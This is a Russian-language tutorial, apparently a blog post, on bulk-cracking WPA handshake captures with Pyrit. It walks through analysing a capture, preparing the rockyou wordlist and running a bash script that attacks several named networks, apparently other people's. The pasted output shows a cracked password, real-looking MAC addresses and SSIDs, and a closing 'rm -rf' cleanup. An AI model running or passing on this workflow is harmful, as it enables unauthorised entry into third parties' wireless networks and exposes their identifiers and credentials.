Если ставится задача массового подбора паролей к захваченным рукопожатиям (т. е. когда много рукопожатий от разных точек доступа), то в этом нам может помочь Pyrit .
Если вы слабо знакомы с Pyrit, то я рекомендовал бы вам следующие источники:
Начнём с анализа того, что у нас есть:
pyrit -r "hndshk/auto3-02.cap" analyze
Развернуть
[mial@HackWare ~]$ pyrit -r "hndshk/auto3-02.cap" analyze
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file 'hndshk/auto3-02.cap' (1/1)...
Parsed 462 packets (462 802.11-packets), got 12 AP(s)
#1: AccessPoint 68:72:51:40:78:b5 ('@Office N.Y TMN WiFi 038-249734'):
#2: AccessPoint 0c:54:a5:c0:24:d6 ('DANIELLE2015'):
#1: Station e0:99:71:fa:d3:c9
#2: Station 74:e2:f5:ba:bc:bc, 4 handshake(s):
#1: HMAC_SHA1_AES, good, spread 1
#2: HMAC_SHA1_AES, good, spread 1
#3: HMAC_SHA1_AES, good, spread 3
#4: HMAC_SHA1_AES, good, spread 3
#3: AccessPoint 00:25:bc:8a:22:ff ('Hailsham'):
#4: AccessPoint 60:e7:01:74:fd:b4 ('JOHNS'):
#5: AccessPoint f8:1a:67:f0:73:7a ('Janphen'):
#6: AccessPoint 40:3d:ec:14:c8:68 ('Kitty'):
#1: Station 48:5a:3f:08:15:69, 5 handshake(s):
#1: HMAC_SHA1_AES, good, spread 1
#2: HMAC_SHA1_AES, good, spread 1
#3: HMAC_SHA1_AES, good, spread 1
#4: HMAC_SHA1_AES, bad, spread 1
#5: HMAC_SHA1_AES, bad, spread 1
#2: Station b4:62:93:d3:e3:a9
#3: Station 6c:83:36:a6:f8:ba, 6 handshake(s):
#1: HMAC_SHA1_AES, good, spread 1
#2: HMAC_SHA1_AES, good, spread 1
#3: HMAC_SHA1_AES, good, spread 1
#4: HMAC_SHA1_AES, bad, spread 2
#5: HMAC_SHA1_AES, bad, spread 2
#6: HMAC_SHA1_AES, bad, spread 3
#4: Station 78:40:e4:88:76:25, 1 handshake(s):
#1: HMAC_SHA1_AES, workable, spread 1
#5: Station 10:3b:59:a2:cc:a3
#6: Station 18:e7:f4:e8:18:47
#7: AccessPoint 20:25:64:16:58:8c ('Mial'):
#1: Station 20:02:af:32:d2:61, 5 handshake(s):
#1: HMAC_SHA1_AES, good, spread 1
#2: HMAC_SHA1_AES, good, spread 1
#3: HMAC_SHA1_AES, good, spread 1
#4: HMAC_SHA1_AES, good, spread 1
#5: HMAC_SHA1_AES, good, spread 1
#8: AccessPoint 64:66:b3:ae:8c:e7 ('TP-LINK_AP_AE8CE7'):
#9: AccessPoint cc:4e:ec:49:5c:f8 ('TRA05'):
#1: Station 54:9f:13:bb:d9:05
#10: AccessPoint 54:b8:0a:93:b8:f5 ('openbox'):
#1: Station 98:3b:16:8f:62:ed, 1 handshake(s):
#1: HMAC_SHA1_AES, good, spread 1
#11: AccessPoint 80:c6:ab:3b:45:1c ('true_homewifi_38273'):
#12: AccessPoint 84:db:ac:f7:cc:8c ('yod'):
#1: Station a4:3d:78:d3:de:62
#2: Station d4:22:3f:65:1d:f1
#3: Station 2c:5b:b8:4e:9b:de
#4: Station 80:65:6d:a5:27:cd
[mial@HackWare ~]$ pyrit -r "hndshk/auto3-02.cap" analyze
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file 'hndshk/auto3-02.cap' (1/1)...
Parsed 462 packets (462 802.11-packets), got 12 AP(s)
#1: AccessPoint 68:72:51:40:78:b5 ('@Office N.Y TMN WiFi 038-249734'):
#2: AccessPoint 0c:54:a5:c0:24:d6 ('DANIELLE2015'):
#1: Station e0:99:71:fa:d3:c9
#2: Station 74:e2:f5:ba:bc:bc, 4 handshake(s):
#1: HMAC_SHA1_AES, good, spread 1
#2: HMAC_SHA1_AES, good, spread 1
#3: HMAC_SHA1_AES, good, spread 3
#4: HMAC_SHA1_AES, good, spread 3
#3: AccessPoint 00:25:bc:8a:22:ff ('Hailsham'):
#4: AccessPoint 60:e7:01:74:fd:b4 ('JOHNS'):
#5: AccessPoint f8:1a:67:f0:73:7a ('Janphen'):
#6: AccessPoint 40:3d:ec:14:c8:68 ('Kitty'):
#1: Station 48:5a:3f:08:15:69, 5 handshake(s):
#1: HMAC_SHA1_AES, good, spread 1
#2: HMAC_SHA1_AES, good, spread 1
#3: HMAC_SHA1_AES, good, spread 1
#4: HMAC_SHA1_AES, bad, spread 1
#5: HMAC_SHA1_AES, bad, spread 1
#2: Station b4:62:93:d3:e3:a9
#3: Station 6c:83:36:a6:f8:ba, 6 handshake(s):
#1: HMAC_SHA1_AES, good, spread 1
#2: HMAC_SHA1_AES, good, spread 1
#3: HMAC_SHA1_AES, good, spread 1
#4: HMAC_SHA1_AES, bad, spread 2
#5: HMAC_SHA1_AES, bad, spread 2
#6: HMAC_SHA1_AES, bad, spread 3
#4: Station 78:40:e4:88:76:25, 1 handshake(s):
#1: HMAC_SHA1_AES, workable, spread 1
#5: Station 10:3b:59:a2:cc:a3
#6: Station 18:e7:f4:e8:18:47
#7: AccessPoint 20:25:64:16:58:8c ('Mial'):
#1: Station 20:02:af:32:d2:61, 5 handshake(s):
#1: HMAC_SHA1_AES, good, spread 1
#2: HMAC_SHA1_AES, good, spread 1
#3: HMAC_SHA1_AES, good, spread 1
#4: HMAC_SHA1_AES, good, spread 1
#5: HMAC_SHA1_AES, good, spread 1
#8: AccessPoint 64:66:b3:ae:8c:e7 ('TP-LINK_AP_AE8CE7'):
#9: AccessPoint cc:4e:ec:49:5c:f8 ('TRA05'):
#1: Station 54:9f:13:bb:d9:05
#10: AccessPoint 54:b8:0a:93:b8:f5 ('openbox'):
#1: Station 98:3b:16:8f:62:ed, 1 handshake(s):
#1: HMAC_SHA1_AES, good, spread 1
#11: AccessPoint 80:c6:ab:3b:45:1c ('true_homewifi_38273'):
#12: AccessPoint 84:db:ac:f7:cc:8c ('yod'):
#1: Station a4:3d:78:d3:de:62
#2: Station d4:22:3f:65:1d:f1
#3: Station 2c:5b:b8:4e:9b:de
#4: Station 80:65:6d:a5:27:cd
Из всего этого, меня интересуют только рукопожатия от следующих точек доступа:
DANIELLE2015
Kitty
openbox
Поскольку импорт паролей нам нужно сделать один раз, то с него и начнём. Чтобы это сделать, нам нужно где-то достать словарь. Я позаимствую его у коллег — вы же можете воспользоваться своим любимым словарём:
git clone git://git.kali.org/packages/wordlists.git
Распакуем его.
gunzip ~/wordlists/rockyou.txt.gz
Почистим его:
cat wordlists/rockyou.txt | sort | uniq | pw-inspector -m 8 -M 63 > wordlists/newrockyou.txt
Примечание: Программа pw-inspector является частью пакета Hydra, поэтмоу если у вас появилась ошибка, что команда не найдена, то установите пакет Hydra:
sudo pacman -S hydra
Теперь импортируем словарь Pyrit:
pyrit -i ./wordlists/newrockyou.txt import_passwords
Для некоторой автоматизации, создайте исполнимый файл pyrit_mas.sh и скопируйте туда:
#!/bin/bash
FILE='hndshk/auto3-02.cap'
for i in `seq 1 1 $#`; do
pyrit -e ${!i} create_essid
done
pyrit batch
for i in `seq 1 1 $#`; do
echo '==============================================='
echo 'Ищем пароли для '${!i}
pyrit -r $FILE -e ${!i} attack_db
done
Обратите внимание на строку:
FILE='hndshk/auto3-02.cap'
В ней вместо hndshk/auto3-02.cap вам нужно указать путь до вашего файла с рукопожатиями.
Запускать так:
bash pyrit_mas.sh ТочкаДоступа1 ТочкаДоступа2 ТочкаДоступа3
Мой пример
bash pyrit_mas.sh DANIELLE2015 Kitty openbox
Т.е. просто перечисляете точки доступа, для которых у вас есть рукопожатия и которые вы хотите взломать. Результат выполнения в моём случае:
Самое интересно здесь:
Picked AccessPoint 54:b8:0a:93:b8:f5 automatically...
Attacking handshake with Station 98:3b:16:8f:62:ed...
Tried 1126073 PMKs so far (11.7%); 413544565 PMKs per second.
The password is '0987654321'.
Т.е. для точки доступа с 54:b8:0a:93:b8:f5 (это openbox) пароль подобран.
Для очистки места:
pyrit -e ТочкаДоступа delete_essid
Т.е. я делаю так:
pyrit -e DANIELLE2015 delete_essid
pyrit -e Kitty delete_essid
pyrit -e openbox delete_essid
Автоматическую очистку можно, кстати, добавить и в мой скрипт.
Ну или просто можете грохнуть весь каталог (также будут удалены импортированные пароли):
rm -rf ~/.pyrit